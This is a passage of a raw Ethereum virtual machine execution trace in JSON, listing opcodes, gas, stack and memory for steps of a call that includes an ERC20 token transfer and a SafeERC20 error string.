000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8324,"op":"ISZERO","gas":31567,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1c00","0x164","0x144","0x0","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8325,"op":"DUP2","gas":31564,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1c00","0x164","0x144","0x0","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8326,"op":"EQ","gas":31561,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1c00","0x164","0x144","0x0","0x1","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8327,"op":"PUSH2","gas":31558,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1c00","0x164","0x144","0x0","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8330,"op":"JUMPI","gas":31555,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1c00","0x164","0x144","0x0","0x1","0x1","0x451"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":1105,"op":"JUMPDEST","gas":31545,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1c00","0x164","0x144","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":1106,"op":"SWAP4","gas":31544,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1c00","0x164","0x144","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":1107,"op":"SWAP3","gas":31541,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1","0x164","0x144","0x0","0x1c00"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":1108,"op":"POP","gas":31538,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1","0x1c00","0x144","0x0","0x164"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":1109,"op":"POP","gas":31536,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1","0x1c00","0x144","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":1110,"op":"POP","gas":31534,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1","0x1c00","0x144"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":1111,"op":"JUMP","gas":31532,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1","0x1c00"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7168,"op":"JUMPDEST","gas":31524,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7169,"op":"PUSH2","gas":31523,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7172,"op":"JUMPI","gas":31520,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1","0x1a3a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":6714,"op":"JUMPDEST","gas":31510,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":6715,"op":"POP","gas":31509,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":6716,"op":"POP","gas":31507,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":6717,"op":"POP","gas":31505,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":6718,"op":"JUMP","gas":31503,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":6714,"op":"JUMPDEST","gas":31495,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":6715,"op":"POP","gas":31494,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":6716,"op":"POP","gas":31492,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87c